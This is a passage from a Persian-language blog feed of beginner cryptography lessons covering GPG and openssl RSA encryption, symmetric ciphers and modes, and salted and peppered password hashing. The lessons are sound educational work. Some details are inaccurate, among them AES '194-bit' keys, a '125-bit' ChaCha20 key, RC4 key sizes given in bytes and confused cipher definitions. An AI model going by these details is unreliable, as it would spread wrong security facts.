-----END PGP PUBLIC KEY BLOCK-----کلید البته خیلی بزرگ تره من قسمت اعظمیشو حذف کردم ، بعد این کلید رو میدیم به علی برای رمز کردن پیامش ، علی یه فایل متنی داره و میخوایم تو سیستم علی با کلید زهرا این رو رمز کنیم : اول کلید زهرا رو توی سیستم علی وارد میکنیم توی pgp : ali# gpg --import zahra.pub
gpg: key 88B6A433038B93B6: public key &amp;quotzahra &lt;zahra@mail.com&gt;&amp;quot imported
gpg: Total number processed: 1
gpg:               imported: 1حالا پیامو رمز میکنیم  و تو خط بعدش از ما آیدی مخاطبو میخواد که همون ایمیله : ali# gpg --encrypt --armor &lt; text.txt
Enter the user ID.  End with an empty line: zahra@mail.com
Current recipients:
rsa3072/86CA298A90E843F9 2023-08-11 &amp;quotzahra &lt;zahra@mail.com&gt;&amp;quot

-----BEGIN PGP MESSAGE-----hQGMA4bKKYqQ6EP5AQwAtxjSO2m+xo1Q4L9xqYJSOUOo+A8olDQ1iNemWiLQ140g
gmy4gV6uRITkNK9ufOWJCJ4rVX+X4IEpoLVFd7dXywFUamNZuMexbJ8gaIqOAh3C
hc08jpE4Bf3u3+zNiGSqKs9YI8D9bhGC9gKQIdkPMafZgiydsGO2sxt6ifu1CB3y
-----END PGP MESSAGE-----دوتا تاییدیه ازمون میگیره و میگه ایا این کلیدی ک وارد کردی تو سیستم با این مخاطب هماهنگی داره و اینا بگید اره اره و پیام رمز شده رو به ما میده : پیامو میرسونیم به زهرا به هر طریقی ، مهم نیست چون پیام رمز شده و اینطوری زهرا بازش میکنه (پسوردم میخواد موقع باز کردن) : zahra# gpg --decrypt msg.txt
gpg: encrypted with 3072-bit RSA key, ID 86CA298A90E843F9, created 2023-08-11
      &amp;quotzahra &lt;zahra@mail.com&gt;&amp;quot
hi zahra
i&#039;ll meet you tomorrow 6am downtown near police station number 14.از سایت زیر هم جهت رمزکردن و رمزگشودن با rsa میتونید استفاده کنید  https://www.devglan.com/online-tools/rsa-encryption-decryption رمزنگاری نامتقارن با openssl : ابزار openssl عزیز دل هم هست ، ما اول کلید خصوصی رو میسازیم و سایزشم میکنیم 4096 بیت و خروجی میگیریم :hpn# openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out rsa_keypair.pem
zahra# ls -a 
rsa_keypair.pemچرا 4096؟ چرا کوچیک تر نه ؟ حتما برای امنیت میگی ؟ خیر ! ما توی الگریتم های نامتقارن نمیتونید دیتایی بزرگتر از طول کلید بهش بدیم وگر ن رمز نمیکنه :) پس فهمیدید که کلا ساخته شده این الگریتم برای محافظت از کلید متقارنه و اکثرا هم همینکارو باهاش میکنن ، ولی خب میزاریم این مواردو برای سری پیشرفتهشما میتونید با ls -a چک کنید و میبینید فایل .pem آمده ، دقت کنید که این اکستنشن درواقع پیشفرض خود openssl هست و شما حتی موقع ساخت کلید برای ssh هم با فرمت سروکار دارید ، بریم کلید عمومی رو بسازیم از روی این کلید خصوصی :hpn# openssl pkey -in rsa_keypair.pem -pubout -out rsa_public_key.pem
zahra# ls -a
rsa_public_key.pemقبل رمز کردن من چند تا مسئله بگم و بعد نکته ریاضیش ، ما توی رمزنگاری متقارن یه بحث داریم به نام Padding که من در آخر این سری موقع توضیح الگریتم هش ویندوز توضیح میدم خدمتتون چیه ولی به صورت خلاصه :در الگریتم های متقارن از نوع block cipher ما برای اینکه روی یک بلوک خاص بتونیم کار کنیم ، باید ورودی مون به اندازه باشه ، مثلا اگر ما 14 بایت رو بخوایم پردازش کنیم و دیتا 14 بایت باشه که حله ، اگر 12 بایت باشه ما میاییم اندازه 2 بایت به ته ورودی مقدار &quot;0&quot; اضافه میکنیم که بهش میگن Padding یا پدینگ و اینطوری ما با 14 بایت خودمون سرو کار داریم ، ولـــی در الگریتم های نامتقارن ما از پدینگ برای رندوم کردن دیتا و غیرقابل آنالیز کردن خروجی استفاده میکنیم ، یه جورایی برای امنیت بیشتره ، وگر نه اگر نباشه کار ما به مشکل نمیخوره مثل متقارن ، پس اینو در نظر داشته باشیدhpn# openssl pkeyutl -encrypt -in file.txt -out file.txt.encrypted -pubin -inkey rsa_public_key.pem -pkeyopt rsa_padding_mode:oaep
hpn# cksum session_key.bin*
186275531 32 file.txt
9524593148 512 file.txt.encrypted قبل بررسی دستور من یه نکته بگم ، آخرش امدیم از &quot;pkeyopt rsa_padding_mode:oaep&quot; استفاده کردیم که یه Padding خیلی قوی محسوب میشه که ورژن دوم PKCS هست و اگر از ورژن 1.5 یا قبل تر استفاده کنید ممکنه حمله padding oracle attack انجام بشه روی Cipher text تون که ما اصلا سر این حمله کلی باهم صحبت داریم تو سری پیشرفته ، فقط خواستم بگم که ما از چی استفاده میکنیم ؟ پدینگ ، چرا ؟ امنیت رو بیشتر میکنه ، چه ورژنی؟ 2 که آخرین و امن ترین ورژنشه ، همین رو بدونید کافیه دستور هم خیلی سادست ما فایل رو بهش دادیم و با کلید عمومی و پدینگ رمزش کردیم ، نکته ای که مهمه سایز فایله ، فایل ما 32 بایت بود و در نهایت شد 512 بایت ، اگر 1 بایتم بود میشد 512 بایت و اگر 470 بایتم بود میشد 512 بایت ، کلا خروجی ثابته ، ولی چرا حالا این اعداد؟ کلیدی که ما انتخاب کردیم هم خیلی امنه هم میتونه فایل اندازه خودشو رمز کنه ، کلید 4096 بیته یعنی میتونه یه فایل  512 بایتی رو رمز کنه ، ولـــــی ما از یه پدینگ هم استفاده کردیم که 42 بایته پس 512 رو منهای 42 کنیم میشه 470 بایت ، یعنی کلا ما باید 470 باید ورودی بهش بدیم که با 42 بایت پدینگی که بهش میدیم بتونه 512 بایت خروجی بهمون بده در مطلب بعدی سراغ بحث امضای دیجیتال و گواهی نامه دیجیتال میریم ، هر سوال یا انتقادی بود در خدمتم ، یاعلی</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Sat, 12 Aug 2023 12:15:41 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : رمزنگاری متقارن یا Symmetric Encryption</title>
                <link>https://virgool.io/b-crypto/crypto5-nt0fmwlsosxs</link>
                <description>رمزنگاری مقدماتی به زبان ساده : رمزنگاری متقارن یا کلید خصوصی یا Symmetric Encryptionدر این مطلب میریم سراغ بحث رمزنگاری و معرفی انواعش و رمز نگاری متقارن ، اگر از مقاله اول یادتون باشه هدف اول ما از رمزنگاری بحث Confidentiality یا محرمانگی بود و اینجا با Encryption  بهش میرسیم رمزنگاری چیست ؟ عکس 1وقتی شما یه پیامی رو رمز میکنید و برای یه نفر میفرستید ، هیچ کس نباید قادر به خوندن اون پیام باشه الا مخاطبتون (تعریف محرمانگی) حالا وقتی شما این پیام که محتواش متن قابل خوندنیه میخواید به حالت رمز شده در بیارید ، به این عمل میگن رمزنگاری یا Encryption ، به پیام اولیه که قابل خوندنه میگن Plain text یا clear text و به پیام رمزشده که قابل فهم نیست میگن Cipher Text ، به عمل برگردوندن دیتا از حالت رمز شده به ساده هم میگن Decryption رمزنگاری در زمان قدیم به همین سادگی بوده و به نظرتون مشکل کجاعه ؟ روش جایگشتی جولیو سزار رو که خاطرتون هست ؟ فرض کنید جولیو سزار به یک نفر میخواست نامه بده ، خب این مشکل نیست ، اما اگر بخواد به 5 نفر پیام بده چی؟ بازم میگید مشکلی نیست چون میتونه جایگشت پیام هارو عوض کنه ، برای مخاطب اول حروف رو یک کلمه عوض کنه برای مخاطب دوم هم دوتا تا مخاطب پتجم ، اگر بگیم به 50 تا مخاطب بخواد بفرسته چی ؟ اینجا به مشکل میخوره ! چون کلا ما 26 حرف بیشتر نداریم :) اینجاست که رمزنگاری متقارن میاد  نکته : اگر بخوایم صرفا از این حالت استفاده کنیم یجورایی انگار داریم فقط Encode میکنیم ، نه ؟عکس 2 چیزی که ما میخوایم اینه ، حالا من یکم جلوتر بهتون کامل میگم ولی همینقدر فعلا دید داشته باشید که ما اون رمز رمزگذاری رو داریم ولی یه کلیدی هم درکنارش حتما به کار میبریم که Cipher Text ما قابل تشخیص نباشه برای کس دیگه ای (تا زمانی که کلید لو نرفته)الگرتیم هایی که باهم میبینیم توسط شخص ساخته نمیشه و ساخته شدن الگریتم توسط یه نفر بسیار خطرناکه ، فرایند ساخته شدن الگریتم کامل تو بخش پیشرفته کاور میشه ولی بدونید که فرایند ساخت و تایید و تست یک الگریتم چندین سال طول میکشه و توسط چندین نفر انجام میشه ! متخصصان حرفه ای در زمینه رمزنگاری و امنیت و مخصوصا ریاضی !کلیدی که قراره استفاده کنیم کلا دو نوع هست ، یا ما از یک کلید برای رمزکردن و رمزگشایی استفاده میکنیم که بهش میگن رمزنگاری متقارن ، یا از دوتا کلید جدا برای رمزکردن و رمزگشایی استفاده میکنیم که بهش میگن رمزنگاری نا متقارنرمزنگاری متقارن : رمزنگاری متقارن همونطور که اولش هم اشاره شد به استفاده از یک کلید برای رمز کردن و رمز گشایی پیام میگن ، ریشه کلمه متقارن از اجسام تقارن دار امده ، مثل صورت انسان که اگر با دستتون نصفشو بگیرید نصف دیگر رو اگر در اینه ای معکوس کنید دقیقا مثل صورت اصلی خودتون هست عکس 3خب حالا بیایید یکم علمی تر وارد بحث رمزنگاری متقارن بشیم ، یه مثال ریاضی ساده میزنم ، ما میخوایم عدد 3 رو که Plain Text ما هست رمز کنیم ، الگریتممون ضرب هست و کلیدمون عدد 8 ، Cipher میشه 24 درسته ؟برای رمزگشایی دقیقا فرایند برعکس میشه ولی عینا همونه ، Cipher رو داریم و از همون الگریتم استفاده میکنیم (ولی معکوسش، این وظیفه خود اون سیستمه) کلید هم 3 و Plain Text میشه 3 دقت کنید یه کلید برای رمزگذاری و رمزگشایی استفاده شد !بریم یه مثال دقیق تر بزنیم فقط قبلش بیایید 4 عمل اصلی روی بیت هارو یه مروری بکنیم :NOT : این مورد هر بیتی رو برعکس خودش تبدیل میکنه ، اگر 0 باشه 1 میشه و اگر 1 باشه صفرش میکنهNOT 1101 = 0010 AND :اگر دوتا عددی که مقایسه میکنه 1 باشه ، حاصل رو 1 میگذاره ، در غیر این صورت 01011 AND 0110 = 0010               1101 AND 1100 = 1100OR : بین دوتا بیت مقایسه میکنه ، اگر حداقل یدونه 1 وجود داشت حاصل میشه 1 در غیر این صورت 01001 OR 1100 = 1101     1111 OR 0101 = 1111    1010 OR 0010 = 1010 XOR : بین دوتا بیت مقایسه میکنه و حتما باید یکیشون 1 باشه تا حاصل بشه یک ، در غیر این صورت 0 1001 XOR 1100 = 0101          1001 XOR 1010 = 0011فرقشون فقط توی شرط هاشونه ، AND میگه باید جفت 1 باشه تا حاصل 1 بشه ، OR میگه اگر یدونه 1 بود نتیجه یک میشه ، دوتا هم بود باز 1 میشه ، XOR میگه حتما باید یکیشون 1 باشه تا نتیجه یک بشه عکس 4خب فرض کنید مثال بالا رو ، ما فقط Plaint Text رو داریم و Key ، خودتون این دوتارو XOR کنید و میرسید به Cipher Text (اینجا الگریتم ما XOR بود) و برعکسش هم برای Decryption انجام بدید ، دقیقا همون XOR کردن و میبینید که با داشتن Cipher Text و Key میرسید به متن اصلی ! دلیلی که XOR توی رمزنگاری انقدر کاربردیه اینه که میتونیم باهاش هر مقداری رو دقیقا برعکسش کنیم ، یعنی هر مقداری رو که ما XOR میکنیم دقیقا داریم برعکسش میکنیم ، مثلا :D=A XOR B    اگر D از XOR کردن A و B بدست بیاد :A= D XOR B    و    B= D XOR Aفعلا تا همین حد بدونید کافیه تا در مقالات پیشرفته براتون بازش کنممضایا و معایب الگریتم های رمزنگاری متقارن : مضایا :اندازه و سایز Cipher Text اندازه Plain Text ورودی خودشه ، نه بیشتر (اگر بخوایم یه فایل حجیم بفرستیم و رمزش کنیم ، این نوع الگریتم بدرد میخوره چون سایز رو بیشتر نمیکنه ! درواقع سرعت بیشتری داره )سرعت پردازش محاسبات رمزنگاری متقارن روی CPU های امروزی بشدت بالاست و خیلی سریع پردازشش میکنن ، پس فرایند Encrypt  و Decrypt سریع تر انجام میشه این دوتا خاصیت الگریتم های متقارن رو برای انتقال دیتا انبوه خیلی مناسب میکنه (Bulk Data Transfer) چون دیتایی که منتقل میشه رو زیاد تر نمیکنه و فشار زیادی روی CPU از جهت پردازش نمیاره معایب :چطوری کلید رو برسونیم به طرف مقابل ؟ انتقال کلید به صورت امن (In Band) ممکن نیست و کلید رو لو میده کمی درباره کلید های رمزنگاری : هرچی طول کلید بیشتر باشه امنیت بیشتره ولی به مراتب سرعت میاد پایین ، حالا سوال پیش میاد که چه طولی از کلید مناسبه ؟بیت متشکل از 0 و 1 هست ، یک کلید 40 بیتی همونطور که در تصویر میبینید از 40 تا 0 و 1 تشکیل شده ، بیش از تریلیون ها (یک با 12 صفر جلوش) ترکیب و حالت وجود داره برای این 40 بیت ولی حل کردنش برای کامپیوتر های امروزی راحته ، حالا اگر بریم سراغ 128 بیت ، میتونیم بگیم کامپیوتر های امروزی به اون قدرت نرسیدن که این کلید هارو بشکنن ، و اگر بریم سراغ کلید 1024 بیتی مطمئنی که کامپیوتری وجود نخواهد داشت که بتونه اینو بشکنهمناسب ترین کلید ، کلید 128 بیتیه ، زیر اون اصلا جالب نیست و بالاتر از اون ضروری نیستمعرفی و  شرح تفاوت Stream Cipher و Block Cipher :  ما در رمزنگاری دوتا بحث داریم ، یکیش Code هست و یکی دیگه Cipher ، وقتی صحبت از Code میشه ما منظورمون یک جدول هست که از پیش قرار داد کردیم که هر کد بیانگر چه چیزی باشه ، این امر توی بحث نظامی و پلیسی خیلی کاربرد داره ، مثلا کد 10-7 یعنی من در موقعیت هستم ، کد 10-2 یعنی به نیرو کمکی نیاز دارم و... ولی بحث Cipher کلا فرق داره ، تو الگریتم های متقارن ما دو نوع الگریتم داریم ، Stream Cipher و Block Cipher وقتی یک پیام میخواد توسط یه الگریتم متقارن بررسی بشه ، اگر اون الگریتم Stream Cipher باشه ، میاد و پیام رو کلمه به کلمه رمز میکنه ، یا بیت به بیت رمز میکنه (محدودش یک کلمه/کاراکتریه)ولی اگر الگریتم Block Cipher باشه روی یه قسمت کار میکنه ، مثلا روی 6 کاراکتر ، روی 6 بایت ، یعنی در دسته های 6 تایی کار میکنه بجای تکی حالا باز Cipher ها فارغ از نوعشون ، از دو روش برای رمزکردن استفاده میکنن : Substitution Ciphers : کاراکتر هارو توی پیام رو جابجا میکنن یا اصطلاحا شیفت میکنن ، مثلا اگر شیفت دو حرفه در نظر بگیریم A رو میکنن C و B رو میکنن D و... Transposition Ciphers (Permutation Ciphers) : این ها میان و جابجا میکنن کاراکتر هارو ، مثلا جای A میان و P میزارن ،  جای PP میان و DO میزارن و ...این دوتا تکنیک که گفتم به کرات در الگریتم های متقارن قدیمی استفاده میشدن که باعث مبهم شدن خروجی میشد (Classical Cryptography) و الان ما دیگه میریم سراغ Modern Cryptography که دنیاش کلا متفاوته فرق EBC و CBC در چیست ؟ قبل اینکه برسیم به استفاده از الگریتم های رمزنگاری متقارن روی فایل ها، باید اینو بگم که ما چندین حالت برای استفاده از این ها داریم، یعنی همینطوری نمیتونیم پاشیم بریم یه عکس رو با AES رمزکنیم ، باید با حالت های مختلفی از این الگریتم استفاده کنیم، ورودی های مختلف و متفاوتی بدیم که خروجی تا حد امکان امن باشه ، حالات زیادی ما داریم که من فقط اینجا دوتاشو بررسی میکنیم و بقیش توی مقاله پیشرفته : ( CBC-ECB-Counter-Galois/Counter Mode- Output feedback)ما فقط دو حالت رو میخوایم تو الگریتم های Block Cipher بررسی کنیم :ECB (Electronic Code Book) : توی این حالت پیام ما به بلاک/بلوک های مختلفی تقسیم میشه و هر بلوک جداگانه رمز میشه ، شکستن این الگریتم راحته چون بلوک های Plain Text ورودی به تعداد معینی وارد میشن و در خروجی ما بلوک هایی با تعداد مشخص و معینی از Cipher Text داریم (بلوک همون الگریتمیه که داریم ، مثلا aes یا هرچی)به زبان ساده بگم ، در ecb پیام به چندین بلوک تقسیم میشه و هر بلوک جداگانه با کلید رمز میشه ، این متد منسوخ شدس ، چراشو جلوتر میگمCBC (Cipher Block Chaining) :آمدن گفتن بیاییم یه کاری کنیم ، بیاییم اول بلوک بندی کنیم و بیاییم قبل رمز کردن بلوک اول ، یه IV هم قاطیش کنیم بعد Cipher Text بگیریم(یعنی میشه Plain Text + IV و این میره توی الگریتم و با کلید رمز میشه) ،(IV رو همون Salt در نظربگیرید) ، برای بلوک های بعدی حالا نتیجه یا Cipher Text بلوک قبلی رو به عنوان IV در بلوک بعدی استفاده کنیم و همینطوری تا ته !نکته : توی cbc برای مخلوط کردن Plain Text و IV ما این دوتارو باهم XOR میکنیمبرای اینکه بیشتر با فرق ecb  و cbc آشنا بشید ، من آمدم عکس خودمو با استفاده از الگریتم aes-256-ecb رمز کردم و نتیجش شده عکس وسطی ، با الگریتم aes-256-cbc هم رمز کردم و نتیجش شده عکس آخر یا همون سمت راستی ، خودتون ببینید چطوری نوع ecb میتونه باعث شه الگریتم خروجیش ضعیف بشه !نکته : پس تا اینجا یادگرفتیم که وقتی میگیم امنیت یک الگریتم رمزنگاری ، ما هم امنیت ساختار خود الگریتمو در نظر میگیریم ، هم امنیت حالتشو ، هم امنیت طول کلیدشو ! پس شد سه تا جزء !معرفی الگریتم های رمزنگاری متقارن : 1- DES : Data Encryption Standard کلیدی که استفاده میکنه سایزش 56بیت هست و کلا تو رمزنگاری توصیه میشه از کلید بالا 128 بیت استفاده کنید ، پس با این قاعده هر الگریتمی رو که میبینید میفهمید خروجیش امن هست یا نه (بحث امنیت الگریتم با بحث خروجی فرق داره که در اخر این سری بهش میپردازیم)الگریتم DES از نوع Block Cipher هست و دسته های 64 بیتی کار میکنه2- 3DES : این الگریتم میاد سه بار از DES استفاده میکنه ، به این صورت که دربار اول میاد یک کلید میده و Cipher Text رو میگیره و به عنوان Plain Text مجدد میده به DES با یه کلید ، خروجی Cipher Text دومی رو هم باز مجدد به صورت Plain Text میده به DES با یه کلید دیگه دقت کنید که برای امنیت بیشتر باید سه تا کلید متفاوت باشن ، وگر ن امنیتش با DES فرقی نمیکنه ! چرا؟ چون هر کلید 56 بیته ، اگر دوتا کلید متفاوت استفاده بشه ، کلیدمون 112 بیت بوده و زیر 128 عه پس امنیت نداره ، اگر سه تا 56 تا بشه میشه 168 تا که بالاتر از 128 تاعه پس اوکیه به روشی که استفاده میکنه میگن EDE (Encryption-Decryption-Encryption) ، نکته ای که هست اینه که بلوک دوم ، بجای اینکه صرفا رمز بکنه ، میاد رمزگشایی میکنه ، منتها با یه کلید متفاوت ، پس اینطوری شد :بلوک اول با کلید 1 میاد و P رو میکنه C و میده بلوک دوم ، بلوک دوم با کلید 2 میاد ورودی قبل رو بجای رمزکردن اینبار رمزگشایی میکنه با کلید 2 که نتیجه میشه یه P جدید ،و بلوک سه با کلید 3 میاد و این P بلوک قبل رو رمزنگاری میکنه و میکنه P نهایی (اینکه درک کنید اگر رمزگشایی با کلیدی بجز کلید اصلی اتفاق بیفته خودش رمزگذاری محسوب میشه ، کارکرد این الگریتمو درک کردید)امنیت این الگریتم تا سال 2030 درنظر گرفته شده ، مثل DES از نوع Block Cipher هست و روی دسته های 64 بیتی کار میکنه3 - Blowfish : این الگریتم به عنوان جایگزینی برای DES معرفی شد ، مثل DES از نوع Block Cipher هست و روی دسته های 64 بیتی کار میکنه ،طول کلیدش متغییره ، از 32 بیت تا 448 بیت ، ولی بخاطر کشف یه سری حملات و ضعف ها از خود الگریتم ، دیگه ایمن نیست 4 - Twofish : این هم دقیقا همون کسی که Blowfish رو ساخت ، ساخته و بعد نا ایمن بودن الگریتمش رفت سراغ این الگریتم و این رو توسعه داد ، قرار بود جایگزین DES بشه که در نهایت به AES باختاین الگریتم Block Cipher هست و روی دسته های 128 بیتی کار میکنه ، طول کلیدش از 128 شروع میشه تا 256 بیت و هنوزم الگریتم امنی شناخته میشه  5 - RC4 &amp; RC6 : یک الگریتم رمزنگاری بسیار خوب که بیشتر کاربردش تو رمزنگاری ارتباطات شبکه بود (و هست)، این الگریتم برای رمزنگاری شبکه های وایرلس WEP - WPA استفاده شده ، همچنین از اون در SSL و TLS هم استفاده میشده ولی الان دیگه امن نیست چون توی الگریتم حفره امنیتی پیدا شده این الگریتم از نوع Stream Cipher هست و کلیدش از 40 بایت تا 2048 بایت قابل تغییره الگریتم RC4 که از رده خارج شد جاش RC5 و بعدش RC6 آمد که بسیار هم امن هست و روی بلوک های 128 بیتی کار میکنه و کلیدشم از 128 بیته تا 256  جالبه بدونید این دو الگریتم این روز ها توسط بدافزار ها خیلی استفاده میشه و دلایلشم بعدا میفهمید ولی بدونید که کاربرد داره ;)6 - AES : Advanced Encryption Standard - Rijndael الگریتم سوم که الگریتم بسیار امنی هم هست و کلید های 128 - 194 و 256 بیتی تولید میکنه و امروزه اکثر جاها ازش استفاده میشه و استاندارد ترین الگریتمه !این الگریتم هم در دسته Block Cipher قرار میگیره و روی دسته های 128 بیتی کار میکنه 7 - ChaCha20 : قبل ChaCha20 ما الگریتم داشتیم به اسم SalSa20 که خیلی سریع و خوب هم بود،گوگل آمد و ChaCha20 رو به عنوان یه چیزی مشتق شده از SalSa20 ساخت و امنیت و سرعتشم زیاد تر کرد و توی محصولاتش مخصوصا گوشی های اندرویدش ازش استفاده میکرد، چرا میکرد؟ چون قدیم ها توی پردازنده ها برای پردازش AES سخت افزار جدایی وجود نداشت ولی اخیرا با وجود قسمت مجزا در پردازنده ها برای محاسبات رمزنگاری AES ، دیگه زیاد ازش استفاده نمیشه، و طول کلیدی که داره 125 یا 256 بیتیه رمزکردن پیام و فایل به صورت عملی با الگریتم متقارن : اگر بریم سراغ ابزار openssl و خالی تایپش کنیم :hpn# openssl
Cipher commands (see the `enc&#039; command for more details)
aes-128-ecb aes-192-cbc rc4  des-cbc میگه چند تا دستور داره و هر دستور چه زیر شاخه هایی داره ، در زیر شاخه Cipher commands میبینیم چه الگریتم هایی داره ، میریم که یه پیام رو با aes-128-cbc رمز کنیم hpn# echo hello | openssl enc -aes-128-cbc
enter AES-128-CBC encryption password:
Salted__WL����*�qS�F�uTsK��اینجا میبینیم که نتیجه خیلی بدرد نخوره ، چرا؟ کاراکتر های باینری تو مبنای ASCII قابل نمایش نیست ، چاره چیه؟ میگیم خروجی رو به base64 بده و یه a- میزنیم تنگ دلش : hpn# echo hello | openssl enc -aes-128-cbc -a
enter AES-128-CBC encryption password:
U2FsdGVkX19lQBY7DqqpQZ389GO9WT395f7vQJnIcF4=اینجا درک میکنید چرا من تو مقاله دوم گفتم برای از دست نرفتن دیتا ما از Base64 استفاده میکنیم ، ما میتونیم پسورد رو هم به صورت  pass- بهش بدیم ولی من ترجیهم اینه که اینکارو نکنید ، بدلیل اینکه لاگ میندازه توی ترمینال/سشنتون به صورت پیشفرض salt هم میزنه قاطیش ، ما salt نمیخوایم پس یه nosalt- میزنیم تنگ دلش برای Decrypt کردن پیامم کافیه d- بزنیم : hpn# echo hello | openssl enc -aes-128-cbc -a -nosalt
enter AES-128-CBC encryption password:
ZetNr+k1nOo1ZEzAVUj+yw==

hpn# echo &amp;quotZetNr+k1nOo1ZEzAVUj+yw==&amp;quot | openssl enc -aes-128-cbc -a -nosalt -d
enter AES-128-CBC decryption password:
helloبرای رمز کردن فایل هم : hpn# ls
Alice-Book1.txt  Alice-Book2.txt
hpn# openssl enc -aes-128-cbc -a -nosalt -in Alice-Book1.txt -out Alice-Book1.txt_enc
enter AES-128-CBC encryption password:یه in- میدیم و فایل ورودی رو بهش میدیم و یه out- میدیم و فایل خروجی رو با پسوند جدید بهش میدیمبرای دیکریپت کردن هم روش همینه ولی بلعکس d- hpn# openssl enc -aes-128-cbc -a -nosalt -d -in Alice-Book1.txt_enc -out Alice-Book1.txt
enter AES-128-CBC decryption password:با برنامه aescrypt هم میشه فایل رو فشرده کرد ، من فقط دستورشو میزارم چون سر راست تره ، ولی openssl از هر چیزی بی نیازتون میکنه : hpn# aescrypt -e -o Alice-Book1.aes Alicebook1.txt
hpn# aescrypt -d -o Alice-Book1.aesهمونطور که فهمیدید e- برای Encrypt و d- برای Decrypt هست نکته : تو مطلب HMAC-HASH گفتم ما با یه کلید میاییم هش میگیریم و به این روش میگن HMAC ، خاطرتون هست ؟ جفت کلیدا یکی بود دیگه؟ پس ما در HMAC از HASH و رمزنگاری متقارن باهم استفاده کردیم :)در مطلب بعدی سراغ رمزنگاری نامتقارن و رمزنگاری ترکیبی و بحث تبادل کلید میریم ، هر سوال یا انتقادی بود در خدمتم ، یاعلی</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Fri, 04 Aug 2023 23:40:03 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : Password Storage - Salt  - Pepper</title>
                <link>https://virgool.io/b-crypto/crypto4-lvh4lrnxyobp</link>
                <description>رمزنگاری مقدماتی به زبان ساده : Password Storage - Salt  - Pepperدر این مطلب میخوایم به نحوه ذخیره سازی پسورد بپردازیم ، وقتی میگیم ذخیره پسورد منظورمون بیشتر هشی هست که سمت Web Application هست و سمت Back-end ذخیره میشه ، و از اونطرف چون اکثر وب اپلیکیشن ها لینوکسی هستن پس یه جورایی ذخیره پسورد توی لینوکس رو هم مورد بررسی قرار دادیم ، ولی جریان برای ویندوز کلا فرق داره که توی سری پیشرفته بررسیش میکنیموقتی شما مکانیزم احرازهویت پسوردی ای پیاده سازی میکنید در جایی ، مثلا سمت وب اپلیکیشن ، مثلا ویندوز مثلا لینوکس یا هرجا ، این پسورد باید یه جا ذخیره بشه ، اگر معمولی ذخیره بشه و هکر ها بهش دسترسی پیدا کنن خیلی بد میشه :) پس میان و اونو هش میکنند و بعد ذخیره میکنن ، اینطوری وقتی مهاجم به هش ها دسترسی پیدا کنه دیگه خیلی راحت نمیتونه پسورد رو استفاده کنهشاید بگید مثلا اگر هکر پسوردو به دست بیاره چه کار میتونه بکنه ؟ اگر یه هکر رو بدست بیاره میتونی بعدا به سیستم راحت تر دسترسی بگیره یا روی ماشین های دیگه دسترسی بگیره و حملات دیگه که توی دسته شبکه قرار میگیرن ، از اون طرف یه قاعده ساده رو ما نباید یادمون بره ، کاربر ها اکثرا یک پسورد رو برای چندین جا استفاده میکنن و اگر یه جا پسوردشون لو بره و  شما اون پسورد رو در بقیه جاها استفاده کنید ، میتونید به سایر حساب های مهاجم هم دسترسی بگیریدسر همینه که مقوله ذخیره پسورد خیلی مهمه ، سازوکار و راه همون هشینگه ولی یه تفاوتایی داره که میخوایم بررسی کنیم : فرض کنید یه سایتی داریم و توش 5 تا یوزر ثبت نام کردن ، سایت میاد و پسورد هر یوزر رو به صورت هش ذخیره میکنه ، توی این جدول من به صورت ساده بهتون نمایش میدم که درک کنید بعد میریم کد هاشم نشون میدم:عکس 1وقتی که کاربر ها میخوان وارد شن اول یوزر و بعد پسورد رو تایپ میکنن و سایت هش میگیره از پسوردی که تایپ شده و با هشی که توی دیتابیس بوده مقایسه میکنه ، اگر اوکی بود مجوز ورود رو بهشون میده حالا اگر یه مهاجم بیاد و یه سایتی رو بزنه که هش هاش طبق عکس 1 باشه ، خب میره و به سایت های انلاین میده که کرکش کنن (ما در این مثال از MD5 استفاده کردیم) و راحت پسوردا رو میریزه بیرون :عکس 2همونجور که شاهدید مثل کره کرک شدن و مشکل اینجاست که کاربر مسعود و مجید پسورداشون یکیه ، و این مشکل ایجاد میکنه :) پسورد ها چگونه کرک میشن ؟پسورد های هش شده به این صورت کرک میشن که اول مهاجم میاد یه لیست از پسورد هایی که فکر میکنه کاربرها میسازن رو بدست میاره ، حالا یا حدس میزنه یا با هر حمله ای این لیستو بدست اورده ، بعد این هارو هش میکنه و توی یه جدول ذخیره میکنه به همراه پسورد اصلی ، اون جدول اسمش Lookup Table هست ، و وقتی مهاجم یه هش جدید بدست میاره ، میاد و این هش رو مقایسه میکنه با کل اون Lookup Table و اگر هش نظیرشو پیدا کنه چون پسورد خامشم هست دیگه راحت پسوردو به دست میاره ، و سایتی که بالا ازش استفاده کردیم هم مکانیزم کاریش به همین صورته Pepper چیست ؟ :امدن گفتن خب ، ما بیاییم یه چیز دیگه هم بغل پسورد بزاریم که وقتی هش میگیریم کار رو برای مهاجم سخت تر کنیم و دیگه موقع کرک پسورد ، Lookup Table ها کارساز نباشن ، امدن توی خود کد وب اپلیکیشن یک عبارت ثابت (Pepper) اضافه کردن که وقتی شما ثبت نام میکنید و پسوردتون میخواد برای اولین بار هش بشه ، پسوردتون+اون مقدار ثابت باهم هش میشه (اصطلاحا به نوشتن یک چیز داخل کد برنامه میگن HardCode)عکس 3همونطور که مشاهده میکنید وقتی Pepper ما اضافه شد هش ها عوض شد ، حالا بریم کرکشون کنیم :عکس 4شاهد هستید که Lookup Table ها خیت میشن :) اما کار اینجا تموم نیست ، مشکلی که پابرجاست اینه که اگر مهاجم بتونه سورس کد برنامه رو دربیاره ، به Pepper هم میرسه و میتونه Lookup Table خودشو بسازه ، عههه بد شد که از اونور اگر مهاجم پسورد مسعودو کرک کنه ، پسورد مجیدم کرک کرده :) Salt چیست ؟ : آمدن گفتن ما موقع ثبت نام هرکاربر بیاییم و یه استرینگ یا رشته یا همون عبارت بهش اختصاص بدیم ، به صورت رندوم ، و موقع هش گرفتن با اون هش گرفته بشه :عکس 5و همونطور که شاهدید ما میرسیم به جدول بالا ، وقتی مهاجم به هش ها برسه ، بر فرضی که به کد های وب اپلیکیشن هم دسترسی گرفته باشه ، یه زمان زیادی طول میکشه که بیاد Lookup Table بسازه، یعنی یه لیست پسورد بلـــــــــــــــــند ، و Pepper و Salt بعدش و شروع کنه به ساخت پسورد ! نکته ای که باید تاحالا متوجه میشدید اینه که وقتی Salt پاش به میون امد ، هش پسورد مجید و مسعود عوض شدن ، با وجود اینکه 